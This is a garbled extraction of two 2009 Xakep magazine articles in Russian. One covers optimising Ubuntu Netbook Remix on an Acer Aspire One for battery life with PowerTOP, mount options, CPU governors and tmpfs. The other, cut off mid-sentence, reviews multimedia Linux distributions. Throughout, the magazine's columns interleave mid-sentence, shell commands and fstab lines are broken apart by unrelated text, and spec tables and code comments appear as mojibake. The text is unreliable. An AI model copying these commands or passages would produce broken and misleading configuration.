ЮРИЙ «ADEPT» ВИДИНЕЕВ ADEPTG@GMAIL.COM

Собери
в дорогу Тукса
Как выжать максимум из Linux на нетбуке
Если верить статистике, каждый пятый проданный
в 2009 году ноутбук — нетбук. И это неудивительно
— при сравнительно невысокой стоимости они обла-
дают практически всеми возможностями «больших
братьев», но при этом имеют компактный размер и
малый вес. О том, как реализовать все возможности
нетбуков с помощью Linux, я и расскажу в этой статье.

Ч
аще всего нетбук используют не в ка- 802.11b/g Громкость выставлена на 80%.
честве основного рабочего инструмен- Êàìåðà 0,3 Ìï, 2 êàðäðèäåðà Также с помощью bootchart я протестировал
та (хотя я встречал и таких уникумов), 3-õ ýëåìåíòíàÿ 2200 ìÀ÷ áàòàðåÿ время загрузки.
а в качестве мобильного дополнения Перед проведением каких-либо оптимизаций
к десктопу или большому ноуту. При таком рас- Вместо стандартного дистрибутива Linpus были получены результаты:
кладе во главу угла ставится время автономной Linux Lite, не устраивающего меня по ряду
работы. К сожалению, достаточно прожорливые причин (основная претензия: мало и доволь- Âðåìÿ çàãðóçêè: 17 ñåêóíä
(если сравнивать с семейством ARM) процессор но старое ПО в репозитории), я установил на Â ðåæèìå âåá-ñåðôèíãà: 163 ìèíóòû
и чипсет, а также маленький размер батареи него тестовую версию Ubuntu 9.10 Netbook  ðåæèìå ïðîñìîòðà âèäåî: 118 ìèíóò
делают свое дело — максимальное время Remix (к моменту выхода статьи в печать уже
автономной работы не превышает 8 часов при должен выйти релиз). В качестве файловой КТО ВИНОВАТ И ЧТО ДЕЛАТЬ?
использовании батареи повышенной емкости, а системы и для корня, и для /home я выбрал Основным средством для контроля энерго-
в среднем для стандартной батареи составляет ext4. Swap-раздел не создавал из-за опасений потребления системы в целом и процессора
3-5 часов. за здоровье SSD. Несмотря на то, что Ubuntu в частности является замечательная утилита
Но время автономной работы достаточно сильно Netbook Remix изначально заточен под нетбу- PowerTOP, написанная в недрах компании Intel.
зависит от вариантов использования и опти- ки, имеется еще достаточно мест для приложе- С помощью PowerTOP можно получить следую-
мизации ОС. Правильным тюнингом ОС можно ния напильника. щую информацию:
добиться 10-50% прироста этого показателя. Чтобы увидеть все проведенные оптимизации в 1. Сколько и в каком режиме работает процес-
цифрах, был проведен ряд тестов. Так как нетбук сор. Чем дольше процессор работает в режиме
ЗНАКОМСТВО я использую, в основном, для веб-серфинга C3 или C4, тем меньше энергии он потребляет.
С ПОДОПЫТНЫМ или просмотра видео, то и тесты были выбраны 2. Количество пробуждений в секунду. Ясно, что
В качестве подопытного выступал прошедший соответствующие: чем меньше это число — тем лучше.
огонь, воду и не одну тысячу километров Acer 1. Для тестирования в режиме веб-серфинга 3. Текущее энергопотребление и ориентировоч-
Aspire One AOA110 с характеристиками: был написан небольшой bash-скрипт, который ное время работы от батареи.
в бесконечном цикле с интервалом в 30 секунд 4. Компоненты системы, вызывающие наиболь-
Ýêðàí 8,9" 1024 x 600 открывает в Firefox 3.5 несколько сайтов (google. шее количество пробуждений в секунду.
CPU Intel Atom N270 1.6 ÃÃö com, xakep.ru, linux.com) и закрывает браузер. 5. Подсказки, описывающие конкретные дейст-
×èïñåò Intel 945GSE Интернет во время теста раздается по Wi-Fi. вия, направленные на уменьшение энергопот-
ÎÇÓ 512 Ìá 2. При тестировании в режиме просмотра видео ребления.
Íàêîïèòåëü 8 Ãá SSD mplayer постоянно проигрывает знаменитый PowerTOP есть в репозитории Ubuntu и устанав-
Ñåòü 10/100 Ìáèò/ñ Ethernet, мультфильм «Big Buck Bunny» (1280x720, ogg). ливается как обычно:

094 XÀÊÅÐ 10 /130/ 09


PowerTOP: успех!

Больше всего на энергии можно сэкономить,


выгрузив модули, отвечающие за работу web-
камеры и USB-подсистемы:

$ sudo rmmod usb_storage uvcvideo


videodev v4l1_compat

Для автоматизации загрузки/выгрузки модулей


можно написать скрипт и запускать его при
необходимости либо добавить этот скрипт в
ACPI-скрипты.

ПОЕХАЛИ!
При монтировании файловых систем тоже есть
возможность отключить «лишние» фичи, что
положительно скажется на быстродействии и
времени жизни SSD. Например, относительно
безопасно можно отключить запись времени
последнего доступа к файлу (опция монтирова-
ния noatime). При наличии исправной батареи
можно увеличить время между сбросами
буферов на диск (с помощью опции монтиро-
gnome-power-manager. По умолчанию при вания commit) и отключить барьер (barrier=0).
$ sudo apt-get install powertop работе от сети яркость выставляется в 100%. С помощью опции data=writeback можно вклю-
При работе от батареи — на 50% уменьшается. чить самый быстрый режим журналирования
Программу надо запускать с правами root’а, же- Лично мне вполне хватает и 30%, поэтому я (будет вестись журнал только для метаданных).
лательно при отключенном адаптере питания настроил уменьшение яркости при работе от Правда, у меня система отказывалась гру-
(тогда можно будет увидеть текущее энергопот- батареи на 70%: зиться, если этот режим установлен для корня.
ребление и время до полного разряда батареи). Пришлось оставить только для /home. При
Из скриншотов видно, что даже при дефолт- $ gconftool-2 --set /apps/ полностью отключенном журнале система тоже
ных настройках система в состоянии покоя gnome-power-manager/backlight/ грузиться не захотела. В итоге, мой модифици-
потребляет всего 8,3 Вт, а процессор почти 80% brightness_dim_battery --type рованный /etc/fstab стал выглядеть следующим
времени проводит в состоянии C3. string 70 образом:

ВСЕ НЕНУЖНОЕ НА СЛОМ… Splash screen мне тоже не нужен — только съе- $ sudo nano /etc/fstab
Первое, что необходимо сделать — это отклю- дает драгоценные такты, да скрывает полезную UUID=31faf447-f5e3-40bd-9970-
чить все, что в данный момент не используется. информацию. Заодно можно убрать поддержку 16f703ee130b / ext4
То есть убрать ненужные службы, отключить IPv6, если таковая не требуется. Отключение/ noatime,commit=100,barrier=0 0
сетевые интерфейсы, если в них нет необхо- включение splash screen и IPv6 осуществляется 1
димости, отказаться от Compiz (если включен), за счет передачи ядру определенных пара- UUID=baf24048-4209-4c8a-849c-
уменьшить яркость подсветки LCD до мини- метров при загрузке. Дефолтные параметры d54de626846f /home ext4 noa
мально комфортного уровня и т.д. прописаны в файле /etc/default/grub, в строке time,commit=100,barrier=0,data=wri
Проанализировав запускаемые при старте GRUB_CMDLINE_LINUX_DEFAULT. Я убрал из teback 0 2
системы службы, я убрал bluetooth (в нетбуке этой строки параметры quiet и splash, добавил
нет встроенного), cups (ни разу не подключал к параметр ipv6.disable=1. Чтобы эти параметры Процессор Intel Atom, как и большинство
нему принтер), avahi-daemon, saned и atd: применились для всех ядер, установленных в процессоров Intel, поддерживает техноло-
системе, надо дать команду: гию Enhanced Intel Speedstep Technology,
$ cd /etc/rc2.d/ позволяющую изменять частоту процессора
$ sudo rm S25bluetooth S50avahi- $ sudo update-grub в зависимости от нагрузки, что неплохо эко-
daemon S50cups S50saned S89atd номит энергию. Ядро Linux, в свою очередь,
Еще один способ уменьшить потребление энер- поддерживает несколько схем изменения
За управление яркостью подсветки отвечает гии — выгрузить неиспользуемые модули ядра. частоты процессора. Узнать, какие схемы

XÀÊÅÐ 10 /130/ 09 095


UNIXOID

Ясно, что все содержимое этих папок после


перезагрузки пропадет, а не все программы уме-
ют корректно обрабатывать ситуацию, когда их
любимый каталог в /var/log отсутствует. Поэтому
придется воссоздавать структуру каталогов в /
var/log при каждой загрузке. Для этого создадим
в /etc/init.d скрипт logdirs:

$ sudo nano /etc/init.d/logdirs


for dir in apparmor apt bootchart
ConsoleKit cups dist-upgrade fsck
gdm news installer samba unattended-
upgrades ;
do
if [ ! -e /var/log/$dir ] ;
then
mkdir /var/log/$dir
fi
done
PowerTOP: до оптимизаций
Сделаем скрипт исполняемым и пропишем в
доступны на данном ядре, можно через текущая загрузка процессора. По умолчанию — автозапуск:
sysfs: 100 раз в секунду. Изменим значение на 1 раз в
секунду (указывается в микросекундах): $ sudo chmod +x /etc/init.d/logdirs
$ cat /sys/devices/system/cpu/ $ sudo ln -s /etc/init.d/logdirs /
cpu0/cpufreq/scaling_available_ $ echo 1000000 | sudo tee /sys/ etc/rc2.d/S05logdirs
governors devices/system/cpu/cpu0/cpufreq/
sampling_rate Опять же, для продления жизни SSD запишем в /
Ядро 2.6.31 поддерживает схемы: conservative, etc/sysctl.conf следующие значения:
ondemand, userspace, powersave и performance. Поскольку sysfs — виртуальная файловая сис-
Powersave и performance просто держат частоту тема, то все внесенные изменения пропадут при $ sudo nano /etc/sysctl.conf
процессора на минимальном и максимальном перезагрузке. Поэтому добавим в /etc/rc.local # Óñòàíàâëèâàåò ïåðèîä ìåæäó ñáðîñà-
уровне соответственно (минимальную и макси- следующие команды: ìè èçìåíåííûõ äàííûõ èç ÎÇÓ íà äèñê â
мальную частоту можно узнать из /sys/devices/ 15 ñåê. (ïî óìîë÷àíèþ 5 ñåê.)
system/cpu/cpu0/cpufreq/cpuinfo_min_freq и / $ sudo nano /etc/rc.local vm.dirty_writeback_centisecs=1500
sys/devices/system/cpu/cpu0/cpufreq/cpuinfo_ echo ondemand > /sys/devices/system/ # Âêëþ÷àåò laptop-mode
max_freq, значение в КГц). Userspace позволяет cpu/cpu0/cpufreq/scaling_governor vm.laptop_mode=5
вручную устанавливать нужную частоту процес- echo ondemand > /sys/devices/system/
сора. Conservative и ondemand подстраивают cpu/cpu1/cpufreq/scaling_governor Включение функции USB autosuspend позво-
частоту под текущую нагрузку (разница между echo 1000000 > /sys/devices/system/ ляет сэкономить еще немного энергии. Однако
ними — в различных алгоритмах подсчета cpu/cpu0/cpufreq/sampling_rate пользоваться этой функцией надо осторожно,
необходимой частоты). Intel рекомендует ис- echo 1000000 > /sys/devices/system/ так как теоретически она может поломать
пользовать ondemand. Посмотреть, какая схема cpu/cpu1/cpufreq/sampling_rate подключенный принтер или сканер (пруфлинк:
используется в данный момент, можно так: www.nabble.com/USB-Problems-with-Ubuntu--
Для увеличения производительности можно -workaround-td12123128.html). Правда, ошибку
$ cat /sys/devices/system/cpu/cpu0/ сменить планировщик ввода/вывода. Использу- уже исправили (для ядер > 2.6.22), но сама такая
cpufreq/scaling_governor емый по умолчанию CFQ создавался для работы возможность настораживает. PowerTOP сове-
с HDD; он изменяет последовательность записи тует включать USB autosuspend через передачу
В Ubuntu ondemand используется по умол- данных с целью упорядочить движение головки ядру параметра usbcore.autosuspend=1. Для
чанию. При необходимости измени схему на по диску. Для SSD такие ухищрения не нужны, новых ядер метод не сработает, поэтому придет-
ondemand: поэтому, чтобы не тратить впустую процессорное ся включать через sysfs. Для этого в файл /etc/
время, лучше сменить CFQ на noop. Для этого rc.local добавим записи:
$ echo ondemand | sudo tee /sys/ надо к параметрам, передаваемым ядру при
devices/system/cpu/cpu0/cpufreq/ загрузке, добавить elevator=noop. $ sudo nano /etc/rc.local
scaling_governor SSD имеет ограниченное число циклов # Âêëþ÷àåì àâòîìàòè÷åñêîå óïðàâëå-
записи; логи и временные файлы лучше íèå ïèòàíèåì
Если в наличии имеется несколько процессор- вынести в ОЗУ. Для этого добавим в /etc/ for i in `ls /sys/bus/usb/devices/*/
ных ядер (пусть даже виртуальных), то ondemand fstab строчки: power/level` ; do echo "auto" > $i ;
надо прописать для каждого из них. done
У схемы ondemand есть несколько настраивае- $ sudo nano /etc/fstab # Óïðàâëåíèå ïèòàíèåì âêëþ÷èòñÿ, êàê
мых параметров: tmpfs /var/log tmpfs defaults 0 òîëüêî óñòðîéñòâî îñâîáîäèòñÿ (íå-
1. up_threshold — порог загрузки процессора, 0 ìåäëåííî, ÷åðåç 0 ñåê.)
при котором он переходит на большую частоту. В tmpfs /tmp tmpfs for i in `ls /sys/bus/usb/devices/*/
Ubuntu по умолчанию — 95%, поэтому в измене- defaults 0 0 power/autosuspend` ; do echo "0" >
нии не нуждается. tmpfs /var/tmp tmpfs defaults 0 $i ; done
2. sampling_rate — как часто проверяется 0 # Çàîäíî âûêëþ÷èì ôóíêöèþ Wake-on-

096 XÀÊÅÐ 10 /130/ 09


Видео-тест

DVD

dvd
На прилагаемом
к журналу диске ты
найдешь примеры
конфигурационных
файлов и скрипты
для тестирования.

Наглядные результаты

грузится ощутимо быстрее (по мнению bootchart — за 11 се- HTTP://WWW


кунд). Энергопотребление несколько выше, чем с дефолтным
ядром (8,5 Вт против 8,3 Вт в состоянии «покоя»). При сборке links
этого ядра не включили опцию CONFIG_TIMER_STATS, • www.lesswatts.
поэтому PowerTOP не может отобразить компоненты систе- org — пожалуй, самое
мы, вызывающие наибольшее количество пробуждений в полное собрание
секунду. Кроме быстрой загрузки, ядро неприятно удивило материалов на тему
короткими, пусть и нечастыми фризами системы. энергосбережения
Установить ядро с array.org тоже несложно — достаточно в Linux. Так как сайт
подключить их репозиторий. По данным bootchart система создан компанией
Интерфейс Ubuntu Netbook Remix грузится еще быстрее — всего за 10 секунд. Энергопотребле- Intel, то упор сделан
ние тоже низкое — всего 7,6 Вт. Но этот приятный факт обус- на работу именно с ее
ловлен неприятным обстоятельством: из коробки не работает оборудованием.
Lan íà ñåòåâîì èíòåðôåéñå Wi-Fi. Впрочем, его не сложно настроить.
ethtool -s eth0 wol d У aspireonekernel.com нет своего репозитория, и ядро просто • Подробнее об
скачивается и устанавливается. Система с этим ядром опциях монтирова-
Смена таймера, отсчитывающего тики ядра, со стандартного грузится за 11 секунд и потребляет 8,3 Вт. К сожалению, ния ext4 читай здесь:
8254 на современный и более точный hpet должна ускорить CONFIG_TIMER_STATS тоже отключен при сборке. www.kernel.org/
загрузку системы и положительно сказаться на латентнос- Все три альтернативных ядра превосходят стандартное ядро doc/Documentation/
ти. Для этого надо к параметрам, передаваемым ядру при лишь по одному показателю — скорости загрузки. Учитывая filesystems/ext4.txt.
загрузке, добавить clocksource=hpet. вероятные проблемы (в том числе, с апдейтами), я решил
Теоретически включение режима параллельной загрузки остаться на стандартном ядре.
должно существенно ускорить загрузку системы на много-
ядерных процессорах. Intel Atom N270 — «псевдо-двухъ- ИТОГ
ядерный» (одноядерный, с Hyper-Threading), так что можно В результате всех оптимизаций в состоянии «покоя» энерго- INFO
ожидать небольшого ускорения. Для включения режима потребление системы по показаниям PowerTOP снизилось с
параллельной загрузки надо в файле /etc/init.d/rc изменить 8,3 Вт до 7,1 Вт (на 14%). После произведенных настроек были
строчку CONCURRENCY=none на CONCURRENCY=shell. получены результаты:
info
ЯДЕРНЫЕ ВОЙНЫ Âðåìÿ çàãðóçêè-14 ñåêóíä (-17%) • Помни, что Ubuntu
С ростом популярности нетбуков стали один за другим Â ðåæèìå âåá-ñåðôèíãà íåòáóê ïðîäåðæàëñÿ 179 9.10 по умолчанию
появляться проекты, которые предоставляют сборки ядра ìèíóò (+10%) использует GRUB2,
Linux (или даже целые дистрибутивы) под конкретную модель Â ðåæèìå ïðîñìîòðà âèäåî íåòáóê ïðîäåðæàëñÿ поэтому ручное ре-
или семейство. Больше всего таких проектов, конечно же, 151 ìèíóòó (+28%) дактирование /boot/
направлено на поддержку Asus Eee PC, но и для Acer Aspire grub/grub.cfg неже-
их немало. Мне удалось обнаружить 3 активно развивающих- Итак, мы видим, что с помощью небольших доводок можно лательно. Настройки
ся проекта (и гораздо больше заброшенных): увеличить время автономной работы на 10-30%. И это для загрузчика меняются
1. www.kuki.me — легкий дистрибутив на базе Ubuntu, ОС, уже оптимизированной для работы на нетбуке. В случае в /etc/grub.d и /etc/
поддерживающий только линейку нетбуков от Acer. Можно с обычной, десктопной ОС, цифры были бы несколько выше. default/grub.
скачать отдельно ядро (последняя версия: 2.6.31-rc3). Но чудес не бывает, и кардинально решить проблему со вре-
2. array.org/ubuntu — сборки ядра для Ubuntu. Сначала менем автономной работы можно только покупкой батареи с • Чтобы включить
проект поддерживал только сборки для Asus Eee, но потом большей емкостью. автоповторение в
были выпущены версии, поддерживающие широкий спектр В конце этого года большинство именитых производите- mplayer, добавь в
нетбуков. Последняя версия ядра: 2.6.28. лей нетбуков обещают выпустить модели с процессором файл ~/.mplayer/
3. www.aspireonekernel.com — сборки ядра для Ubuntu. ARM (уже успевшие обрести собственное имя — смартбу- config строчку loop=0.
Поддерживается только Acer Aspire One. Последняя версия ки). Благодаря низкому энергопотреблению, смартбуки
ядра: 2.6.29. должны жить на одном заряде недостижимое для обычных
Установка ядра с kuki.me тривиальна — скачиваем deb-па- нетбуков время — от 10 часов и дольше. Что ж, ждем с
кет, который потом устанавливаем. Система с этим ядром нетерпением! z

XÀÊÅÐ 10 /130/ 09 097


UNIXOID
ЮРИЙ «ADEPT» ВИДИНЕЕВ / ADEPTG@GMAIL.COM /

Рожденные
мультимедиа
революцией
Обзор мультимедийных дистрибутивов Linux
В GNU/Linux есть все необходимое для комфортного просмотра и
прослушивания медиаконтента. А чтобы упростить жизнь рядовому
пользователю, энтузиасты собрали ряд готовых решений, позволяю-
щих превратить компьютер в сетевой развлекательный медиа-центр
и/или рабочую станцию для обработки аудио, видео и графических
файлов. Познакомимся с самыми интересными из них.

пакете (extra-codecs-nonfree), который можно наличие медиацентра Freevo, превращающего


GEEXBOX 1.2.3 добавить после установки дистрибутива на дистрибутив в полнофункциональный инстру-
ÎÑ: GEEXBOX 1.2.3 жесткий диск или во время его пересборки. мент для просмотра всего и вся.
ÑÀÉÒ ÏÐÎÅÊÒÀ: GEEXBOX.ORG Изначально проект привлекал тех пользовате- Несмотря на крохотный размер (составляет по-
ÄÀÒÀ ÂÛÕÎÄÀ: 10 ÈÞËß 2009 ÃÎÄÀ лей, компы которых были неспособны спра- рядка 19 Мб — этого удалось добиться благодаря
ËÈÖÅÍÇÈß: GNU GPL виться с плавным воспроизведением видео грамотному подходу и использованию пакетов
ÀÏÏÀÐÀÒÍÛÅ ÏËÀÒÔÎÐÌÛ: X86_32, хорошего качества. За счет оптимизации и ми- BusyBox и uClibc), система идет с максималь-
X86_64, POWERPC нимизации удавалось выжать из старого ящика ной поставкой драйверов и автоматически
ÑÈÑÒÅÌÍÛÅ ÒÐÅÁÎÂÀÍÈß: INTEL все до последнего такта процессора и мегабайта определяет большую часть оборудования. В том
PENTIUM II 400 ÌÃÖ, 64 MÁ RAM оперативки. Я в свое время лично убедился в числе TV-тюнеры, WiFi, DVB-карты, — не требуя
ÎÑÍÎÂÍÛÅ ÊÎÌÏÎÍÅÍÒÛ: KERNEL этом, когда не мог нормально смотреть видео на пересборки ядра или каких-либо других мани-
2.6.27.13, GLIBC 2.7, UDEV 124, XORG древнем Celeron 300A, — помогал либо оптими- пуляций со стороны пользователя. Изначально
1.5.3, MPLAYER 1.0RC2 зированный Crux (www.crux.nu), либо GeeXboX. поддерживаются практически все основные ау-
Согласись, что GeeXboX на порядок удобнее для дио/видео/графические форматы и кодеки, кро-
Первый участник нашего мультимедийного обычного пользователя. С ним меньше возни: ме нескольких non-free (RealMedia, QuickTime,
тест-драйва выполнен в виде загрузочного просто вставил диск в привод и смотришь фильм WindowsMedia). Управление производится при
LiveCD-образа и работает без установки на или слушаешь музыку. Сегодня, когда частотой помощи экранного меню, горячих клавиш, либо
жесткий диск, хотя разработчики проекта пред- процессора уже никого не удивишь, GeeXboX удаленно через LIRC.
лагают вариант дистрибутива с возможностью позиционируется как встроенная система для GeeXboX загружается в ОЗУ, полностью освобож-
загрузки с винчестера или любого внешнего домашних кинотеатров, для просмотра видео на дая устройство по окончании загрузки. По умол-
накопителя (USB-флешки, карты памяти CF/ бездисковых системах, в которых ОС загру- чанию система стартует в режиме поддержки
SD). GeeXboX умеет воспроизводить видео (в жается в оперативную память. Пользователи HD-видео (Start GeeXboX for HDTV), то есть будет
том числе с HD-разрешением), аудио и графи- нетбуков отмечают, как минимум, 10-процент- установлено максимально возможное разреше-
ческие файлы c жесткого диска, CD/DVD-носи- ное увеличение времени работы от батареи (в ние экрана. Если оно не дотягивает до нужных
теля, сетевого ресурса LAN (NFS, SMB/CIFS), сравнении со стандартной системой). Поэтому (1920x1080, 16:9), то воспроизводимое видео
а также принимать потоковое вещание. Кроме уходить на пенсию GeeXboX еще рано. масштабируется. В обычном режиме (Start
традиционных для Linux файловых систем, В настоящее время ведется разработка двух GeeXboX) устанавливается разрешение 800х600,
поддерживаются FAT и NTFS, поэтому проблем веток дистрибутива: 1.2.х и 2.х. Вариант 1.2.х что оптимально для просмотра «стандартного»
с воспроизведением файлов, находящихся на построен на MPlayer и считается стабильным. видео. Хотя при необходимости можно отредак-
разных разделах, в GeeXboX нет. Некоторые Версия 2.х находится в состоянии разработки тировать параметр «vga» в загрузочном меню
кодеки, имеющие несвободную лицензию и пока не предназначена для повседневного (доступно по <Tab>), установив свое разреше-
(например, rv9 и wmv9), собраны в отдельном использования. Ее особенностью является ние. Интерфейс довольно прост в использова-

098 XÀÊÅÐ 10 /130/ 09


GeeXboX достаточно прост в
управлении

что убрано все не соответствующее назначе-


нию дистрибутива. Черно-белый фон рабочего
стола хорошо смотрится на экране телевизора
и не раздражает яркими красками. В качестве
рабочего окружения выбран XFce. Чтобы облег-
чить новичку процесс знакомства, интерфейс
максимально упрощен, оставлено лишь самое
нужное. После загрузки будет доступно только
одно меню Applications, в котором можно
найти все необходимое для воспроизведения
медиафайлов и запуска MythTV. Основная
Дистрибутив ArtistX содержит большое количество софта для работы функциональность Mythbuntu заключена имен-
с мультимедиа но в MythTV — он представляет собой набор
программ, позволяющих построить на обычном
нии. С его помощью производится выбор видео автоматически воспроизводится. компьютере настоящую медиастанцию — вос-
файлов для воспроизведения и настройки Единственный минус — проект прекратил производить медиафайлы, записывать видео
некоторых параметров работы, в том числе свое развитие, хотя это совсем не мешает его на диск, серфить просторы интернета, читать
— настройка соотношения экрана и таймер использованию. новости, получать прогноз погоды, играть в
отключения. Все довольно удобно и продумано. игры и т.д. (подробнее о MythTV читай в июль-
Дистрибутив идет с полным комплектом инстру- ском номере z за 2007 год).
ментов разработки. Достаточно скачать с сайта MYTHBUNTU 9.04 Дистрибутив может использоваться как ав-
проекта GeeXboX ISO Generator, работающий ÎÑ: MYTHBUNTU 9.04 тономная станция, так и подключаться в виде
под Linux, Mac OS X и Windows 9x/NT/2k/XP. ÑÀÉÒ ÏÐÎÅÊÒÀ: WWW.MYTHBUNTU.ORG фронтэнда к уже существующему MythTV. Для
Самостоятельная пересборка дистрибутива ÄÀÒÀ ÂÛÕÎÄÀ: 23 ÀÏÐÅËß 2009 ÃÎÄÀ настройки параметров работы PVR-системы
довольно проста, внутри архивов находятся ËÈÖÅÍÇÈß: GNU GPL предложен графический инструмент Mythbuntu
подробные инструкции. С помощью генератора ÀÏÏÀÐÀÒÍÛÅ ÏËÀÒÔÎÐÌÛ: I386, Control Centre. При помощи него можно про-
можно добавить поддержку русского языка в X86_64 извести все основные операции: установить
меню и субтитрах, изменить тему оформления, ÑÈÑÒÅÌÍÛÅ ÒÐÅÁÎÂÀÍÈß: INTEL роль (автономный, фронтэнд), конвертировать
установить настройки сети, задать сетевые PENTIUM ÈËÈ AMD CPU 1.0 ÃÃÖ, 192 MÁ систему в десктоп или сервер для загрузки
ресурсы, которые будут автоматически мон- RAM, 2 ÃÁ HDD (ËÓ×ØÅ 80+ ÃÁ) бездисковых клиентов, настроить тему, активи-
тироваться при загрузке, и т.д. В итоге, можно ÎÑÍÎÂÍÛÅ ÊÎÌÏÎÍÅÍÒÛ: KERNEL ровать/деактивировать плагины и системные
создать действительно удобный в работе и 2.6.28, GLIBC 2.9, GCC 4.3.3, UDEV 141, сервисы (VNC, SSH, Samba, NFS, MySQL), уста-
заточенный под себя вариант дистрибути- XORG 1.6.0, XFCE 4.6.0, MYTHTV 0.21.0, новить недостающие проприетарные драйвера
ва. Кроме того, аудио- и видеофайлы можно MPLAYER 1.0RC2, ATI 8.600, NVIDIA и кодеки, настроить LIRC и многое другое. При
сохранить непосредственно на загрузочный 180.44, FIREFOX 3.0.8 необходимости Control Centre вызывает утили-
диск, для этого их достаточно скопировать ты, вроде Synaptic.
в подкаталог iso, образовавшийся после Основой этого релиза послужил Ubuntu 9.04 В поставке дистрибутива я насчитал 14 плаги-
распаковки ISO Generator, и запустить процесс Jaunty Jackalope, с которым он полностью нов для MythTV и 24 темы; есть все необходи-
создания ISO-образа. Затем такие диски можно совместим по пакетам. Нумерация совпадает с мые драйвера (включая проприетарные для
спокойно проигрывать в любой обстановке, убунтовской; последние релизы Mythbuntu вы- видеокарт NVIDIA и ATI) и основные кодеки.
без дополнительной настройки и подключения ходят практически сразу после анонса базового Пакеты w32codecs, ffmpeg и libdvdcss2 устанав-
«источника». дистрибутива. ливаются из репозитария Medibuntu автомати-
Альтернативой GeeXboX является MoviX (movix. Дистр выполнен в виде LiveCD, что позволяет чески, после выбора нужного кодека во вкладке
sf.net) — легкий компактный дистрибутив, использовать все его приложения без установ- Proprietary Codecs.
построенный на Damn Small Linux. Он позво- ки на хард. Хотя разработчиками предусмотре- Чтобы запустить MythTV, достаточно выбрать
ляет смотреть мувики, фотографии и слушать на возможность установки, соответствующий на рабочем столе ярлык Mythbuntu LiveCD
музыку. Загрузка возможна с CD, HDD, USB или пункт находится в загрузочном меню. Как и в Frontend. Появится меню подключения к базе
по Сети. При помощи комплекта MoviXMaker-2 Ubuntu, при загрузке можно выбрать язык; в и выбор параметров. Проверяем настройки и
(savannah.nongnu.org/projects/movixmaker) списке есть русский, — после чего интерфейс запускаем.
можно создать свой вариант дистрибутива на рабочего стола и основных программ будет Кстати, альтернатив у Mythbuntu предостаточ-
базе MoviX/eMoviX и проигрывателя MPlayer. локализован. Загрузка системы происходит но: например MythDora (mythdora.com) — спе-
После загрузки записанное на CD/DVD-диск заметно быстрее Ubuntu, вероятно из-за того, циализированный дистрибутив, основанный на

XÀÊÅÐ 10 /130/ 09 099


UNIXOID

использовании, содержит большое количество


драйверов и кодеков, оборудование подхваты-
вается на лету, все приложения уже настроены и
готовы к применению.
Можно насчитать около десятка альтернатив
ArtistX, но, к сожалению, некоторые очень
хорошие проекты вроде JAD (JackLab Audio
Distribution), Musix GNU+Linux, Dyne:bolic уже
практически не развиваются. Из активных
отмечу дистрибутив 64 Studio (64studio.com),
основанный на Debian и оптимизированный
для 64-битных систем (на 32-битных также рабо-
тает). Ядро этой ОС собрано с использованием
последних RealTime патчей. В настоящее время
проект предлагает две стабильные версии
дистрибутива: 2.0 (LiveCD размером ~600 Мб) и
2.1 (установочный вариант, ~800 Мб), плюс ветку
3.x, находящуюся в активной разработке. Кроме
того, проект распространяет 64 Studio Platform
Development Kit (PDK) — свободный инструмент,
позволяющий создавать решения на основе
Debian и Ubuntu.
Здесь стоит вспомнить о Ubuntu Studio
Новичок с легкостью разберется с особенностями Mythbuntu (ubuntustudio.org), который также содержит
большую подборку софта для обработки аудио,
Fedora и MythTV, или KnoppMyth (mysettopbox. составляют основу ArtistX. DVD-диск размером видео и графики. Смотри врезку.
tv/knoppmyth.html), построенный на Knoppix, 3.3 Гб буквально нашпигован приложениями, Сейчас этот отпрыск стал частью проекта
MythTV и использующий в качестве рабочего распространяемыми под свободной лицензи- Ubuntu, поэтому выходит параллельно с основ-
стола легкий и шустрый Fluxbox. ей, — разработчики заявляют о наличии 2500 ным дистрибутивом.
специализированных пакетов! По сути, ArtistX
является наиболее богатым комплектом сво-
ARTISTX 0.7 бодных программ для обработки аудио, видео и LINUX-GAMERS LIVE 0.9.5
ÎÑ: ARTISTX 0.7 графических файлов. Вот только некоторые из ÎÑ: LINUX-GAMERS LIVE 0.9.5
ÑÀÉÒ ÏÐÎÅÊÒÀ: WWW.ARTISTX.ORG/ них: ÑÀÉÒ ÏÐÎÅÊÒÀ: LIVE.LINUX-GAMERS.NET
SITE2/ • Программы для работы с 2D -графикой: ÄÀÒÀ ÂÛÕÎÄÀ: 24 ÈÞÍß 2009 ÃÎÄÀ
ÄÀÒÀ ÂÛÕÎÄÀ: 21 ÌÀß 2009 ÃÎÄÀ Gimp, Inkscape, Nip2, Krita, Cinepaint, Synfig, ËÈÖÅÍÇÈß: GPL
ËÈÖÅÍÇÈß: GNU GPL Rawstudio, Skencil, Hugin; ÀÏÏÀÐÀÒÍÛÅ ÏËÀÒÔÎÐÌÛ: I686
ÀÏÏÀÐÀÒÍÛÅ ÏËÀÒÔÎÐÌÛ: I386 • Программы 3D-моделирования: Blender, ÑÈÑÒÅÌÍÛÅ ÒÐÅÁÎÂÀÍÈß: CPU ÊËÀÑÑÀ
ÑÈÑÒÅÌÍÛÅ ÒÐÅÁÎÂÀÍÈß: INTEL Wings3D, Kpovmodeler, Povray, K3D; PENTIUM II, 512 MÁ RAM, ÂÈÄÅÎÊÀÐÒÀ Ñ
PENTIUM II ÈËÈ ÀÍÀËÎÃÈ×ÍÛÉ AMD CPU, • Программы для обработки видео: Cinelerra, ÀÏÏÀÐÀÒÍÛÌ 3D ÓÑÊÎÐÈÒÅËÅÌ (ÐÅÊÎ-
512 MÁ RAM, 20 ÃÁ HDD Kino, Openmovieeditor, Kdenlive, Pitivi, Avidemux, ÌÅÍÄÓÅÒÑß GEFORCE2 MX/RADEON HD
ÎÑÍÎÂÍÛÅ ÊÎÌÏÎÍÅÍÒÛ: KERNEL Devede; 2400 È ÌÎÙÍÅÅ)
2.6.27, GLIBC 2.8, UDEV 124, XORG • Аудио и видео плееры: Mplayer, Helix Player, ÎÑÍÎÂÍÛÅ ÊÎÌÏÎÍÅÍÒÛ: KERNEL
1.5.2, GNOME 2.24.1, KDE 4.2.2, COMPIZ Videolan, Xine, Kaffeine, Kmplayer, LastFM; 2.6.29, GLIBC 2.10.1, GCC 4.4.0, UDEV
FUSION, FIREFOX 3.0.10, KOFFICE 1.9.98, • Программы для обработки и создания музыки: 141, XORG 1.6.1.901, BLACKBOX 0.70.1-5,
GNOME OFFICE, OPENOFFICE.ORG 3.0.1 PD, Rosegarden, Ardour, TerminatorX, Cecilia/ ÄÐÀÉÂÅÐÀ ATI È NVIDIA
Csound, Gnusound, Mixxx.
Дистрибутив ArtistX (ранее Mediainlinux) Последний на момент написания этих строк Идея создать этот дистрибутив появилась у груп-
